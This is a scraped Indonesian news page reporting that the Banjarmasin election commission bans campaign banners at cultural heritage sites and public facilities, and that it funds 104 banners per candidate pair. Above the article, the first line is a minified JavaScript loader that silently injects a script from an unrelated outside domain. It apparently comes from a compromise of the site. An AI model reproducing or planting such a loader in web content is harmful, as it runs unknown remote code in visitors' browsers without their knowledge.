(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: PILKADA BANJARMASIN

Terlarang di Tempat Cagar Budaya, KPU Banjarmasin Fasilitasi 104 Spanduk Setiap Paslon


KANALKALIMANTAN.COM, BANJARMASIN – Keberadaan alat peraga kampanye (APK) di Pilkada Banjarmasin memang sangat diperlukan. Namun, KPU Kota Banjarmasin menekankan kepada setiap Paslon (pasangan calon) tidak meletakkan APK di tempat cagar budaya.

Komisioner KPU Kota Banjarmasin Syarifudin Akbar menegaskan, tempat cagar budaya adalah tempat terlarang untuk keberadaan sarana Paslon mengenalkan diri kepada masyarakat.
Ia mencontohkan cagar budaya seperti Kubah Habib Basirih, di Kelurahan Basirih, Kecamatan Banjarmasin Barat.

“Seperti Kubah Habib Basirih, di situ tidak boleh dijadikan tempat untuk kampanye, termasuk keberadaan APK,” kata Syafrudin Akbar, Rabu (30/09/2020) siang. Akbar menjelaskan, selain dilarang Peraturan KPU, pelarangan peletakkan APK di makan salah satu ulama kharismatik di Kalimantan Selatan ini juga atas permintaan zuriat dari Habib Basirih sendiri.

Menurut Akbar, zuriat (keturunan) Habib Basirih sudah meminta agar tidak ada pemasangan APK di kawasan kubah, termasuk sekitar kubah Habib Basirih. Tidak hanya di kubah Basirih, pihaknya juga melarang keberadaan APK di Makam Sultan Suriansyah dan juga fasilitas milik Pemko Banjarmasin. Kemudian juga di fasilitas umum seperti sekolah, ibadah, tempat kesehatan atau di jalan protokol.

“Karena ini sudah masuk Surat Keputusan (SK) KPU. Jika empat paslon melakukan hal tersebut dan sudah di luar ketentuan, maka dapat sanksi oleh Satpol PP,” tegasnya. Oleh karena itu KPU Kota Banjarmasin akan menginstruksikan hal tersebut kepada empat paslon Wali Kota dan Wakil Wali Kota Banjarmasin untuk senantiasa selalu mentaatinya.

Disamping itu, Akbar memaparkan, APK yang difasilitasi KPU adalah spanduk. Dimana, spanduk ini hanya dipasang 2 buah per kelurahan, atau jika ditotal dengan jumlah kelurahan di Kota Banjarmasin sebanyak 52 kelurahan, maka ada 104 spanduk yang harus disiapkan untuk setiap paslon.

“Semuanya difasilitasi, seperti baliho. Kami maksimal mencetaknya itu 5 buah, kemudian untuk umbul-umbul sebanyak 20 buah per kecamatan. Ada lima kecamatan, artinya ada 100 buah. Ini untuk satu paslon,” pungkas Akbar. (kanalkalimantan.com/fikri)

 

Reporter: Fikri
Editor : Bie


Desy Arfianty

Recent Posts

HMI Banjarmasin Komitmen Perjuangkan Kesejahteraan dan Hak Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More

10 jam ago

May Day di Kuala Kapuas, Pj Bupati Erlin Hardi Jalan Santai Bersama Buruh dan Masyarakat

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More

10 jam ago

SPM Pendidikan Banjarbaru Capai Skor 84,57, BPMP Kalsel Beri Penghargaan ke Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More

11 jam ago

Manasik Haji 2024 Ditutup, Ini Pesan Bupati Banjar untuk Jemaah Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More

12 jam ago

D’Bakso Hadir Manjakan Lidah Warga Palangkaraya dengan Ragam Menu Bakso

KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More

13 jam ago

Gelar Rembuk Stunting, Pj Bupati HSU Inginkan Pencegahan Gagal Tumbuh Anak Secara Bersama

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More

13 jam ago

This website uses cookies.